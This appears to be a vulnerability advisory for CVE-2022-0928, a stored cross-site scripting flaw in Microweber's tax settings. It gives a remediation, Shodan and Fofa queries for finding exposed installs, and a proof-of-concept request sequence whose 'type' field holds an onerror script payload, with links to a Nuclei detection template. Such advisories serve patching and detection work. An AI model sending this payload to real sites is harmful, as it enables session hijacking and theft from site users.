| Title | Microweber < 1.2.12 - Stored Cross-Site Scripting |
|---|---|
| Author | amit-jd |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade Microweber to version 1.2.12 or later to mitigate this vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.04739 |
| CVE ID | CVE-2022-0928 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:780351152http.html:"microweber" |
| Fofa Query | body="microweber"icon_hash=780351152 |
| Tags | cve2022 cve authenticated huntr xss microweber cms vuln |
Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax.
POST /api/user_login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=nRrLON&password=nwAtkO
POST /api/shop/save_tax_item HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 76
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.com/admin/view:settings
Accept-Encoding: gzip
id=0&name=vat1&type="><img+src%3dx+onerror%3dalert(document.domain)>&rate=10
POST /module HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 232
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.com/admin/view:settings
Accept-Encoding: gzip
class=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0928.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0928.pcap
N/AN/A